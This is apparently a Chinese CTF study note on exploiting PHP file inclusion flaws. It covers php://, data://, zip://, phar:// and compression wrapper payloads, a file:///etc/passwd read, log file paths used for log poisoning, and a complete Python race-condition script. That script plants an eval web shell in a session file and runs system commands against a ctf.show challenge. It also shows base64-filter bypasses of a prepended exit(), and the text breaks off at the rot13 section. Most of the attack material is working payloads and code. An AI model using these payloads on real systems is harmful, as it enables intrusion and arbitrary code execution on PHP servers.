姿势-文件包含

1. PHP文件包含相关配置

allow_url_include:允许通过 includerequire 等函数从 URL 加载 PHP 代码 默认关闭

allow_url_fopen: 允许通过文件处理函数(如 file_get_contents()fopen())访问 URL 默认开启

2. php伪协议利用

2.1. php://input

条件: allow_url_include=on

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行
经常通过 file_get_contents() 获取 php://input 内容

利用:

?file=php://input
[POST] <?php phpinfo();?>

2.2. php://filter

条件:allow_url_fopenallow_url_include 都关闭的情况下可以正常使用

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致 任意文件读取。

filter参数解释

resource=<要过滤的数据流> [必须]。它指定了你要筛选过滤的数据流。(相对路径也可)
read=<读链的筛选列表>  [可选]。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>  [可选]。可以设定一个或多个过滤器名称,以管道符(|)分隔。
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

过滤器

读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php    base64编码 
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换

2.3. data协议

条件: allow_url_fopenallow_url_include同时开启

data协议类似于php://input协议,用于控制输出流,当与包含函数结合时,data://流回被当作php文件执行。从而导致任意代码的执行

利用
可以用于过滤了 php 关键词时

?file=data://,<php phpinfo();
?file=data://text/plain,<?php phpinfo();---恶意代码
?file=data://text/plain;base64,base编码内容(恶意代码的base64编码)

注意:使用data协议,后面php代码不要闭合

2.4. zip协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

Warning

zip://中只能传入绝对路径
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23
只需要是zip的压缩包即可,后缀名可以任意更改

利用

zip://[压缩包绝对路径]%23[压缩包内文件]
?file=zip://D:\zip.jpg%23phpinfo.txt

2.5. bzip2://协议

条件 allow_url_fopenallow_url_include 都关闭的情况下可以正常使用
绝对路径和相对路径都可以使用

利用

file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

2.6. zlib://协议

条件 allow_url_fopenallow_url_include都关闭的情况下可以正常使用
利用

file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

2.7. phar://协议

phar:// 有点类似zip://同样可以导致 任意代码执行。
区别就是:phar://中相对路径和绝对路径都可以使用

利用

?file=phar://zip.jpg/phpifo.txt
?file=phar://D:\zip.jpg\phpinfo.txt

phar://:PHP 归档,常常跟文件包含文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php
案例 mt_rand()/文件上传/phar协议/文件包含--C1ctf2017 - 简书

2.8. file协议

条件 不受 allow_url_fopen, allow_url_include 的影响

用于访问本地文件系统
file协议可以访问文件的绝对路径,相对路径
file://还经常和curl函数(SSRF)结合在一起
如:?file=file:///etc/passwd 有三条斜杠

2.9. 伪协议总结

Pasted image 20250109013119.png

3. 日志包含

条件 allow_url_include = on
常见日志保存位置

apache+Linux日志 /etc/httpd/logs/access_log
/var/log/httpd/access_log
nginx 日志
用户安装目录logs目录下
如/usr/local/nginx/logs
/var/log/nginx/access.log
apache+win2003日志
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
IIS6.0+win2003默认日志 C:\WINDOWS\system32\Logfiles
IIS7.0+win2003 默认日志 %SystemDrive%\inetpub\logs\LogFiles
apache+linux 默认配置文件 apache+linux 默认配置文件

4. PHPSESSION包含

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4.session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
Note
  1. enabled
    开启后php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
  2. cleanup
    开启后,当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要
  3. prefixname
    name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;prefix+name将表示为session中的键名
  4. session.usestrict_mode=off
    开启后我们对Cookie中sessionid可控,十分重要

常见利用
条件竞争进行session包含
例题 web82条件竞争
利用条件

  • 存在文件包含漏洞
  • 知道session文件存放路径
  • 具有读取和写入session文件的权限
    利用脚本
# 原理 https://www.freebuf.com/vuls/202819.html
import requests
import threading
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session=requests.session()
sess='yu22x'
url1="http://48faee2d-f20d-48ad-9d79-8e73e09f6958.challenge.ctf.show/"
url2='http://48faee2d-f20d-48ad-9d79-8e73e09f6958.challenge.ctf.show/?file=/tmp/sess_'+sess
data1={
    'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
    '1':'system("cat f*");'
}
file={
    'file':'abc'
}
cookies={
    'PHPSESSID': sess
}
def write():
    while True:
        r = session.post(url1,data=data1,files=file,cookies=cookies,verify=False)
def read():
    while True:
        r = session.post(url2,data=data2,verify=False)
        if 'ctfshow{' in r.text:
            print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
    t.start()

5. 死亡 die() exit() 绕过

参考文章 php死亡exit()绕过 - xiaolong's blog
一般有三种形式

1. file_put_contents($filename,"<?php exit();".$content);
2. file_put_contents($content,"<?php exit();".$content);
3. file_put_contents($filename,$content . "\nxxxxxx");

5.1. 第一种 文件名与内容分别输入

file_put_contents($filename,"<?php exit();".$content);
将我们传入的内容$content与 <?php exit(); 进行拼接,从而导致无法执行我们传入的内容

利用filter过滤器进行编码绕过
原理是利用编码对我们最后的内容("<?php exit(); + $content")进行解码从而使前面的exit();函数被编码掉,无法被正常识别并执行。而我们传入的内容被解码后则还原成正常代码内容

5.1.1. base64编码绕过

filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+
Warning

base64是以4个字符为一组进行编码的。所以必须是4的倍数,我们只需要在前面添‘a’即可

5.1.2. rot13编码绕过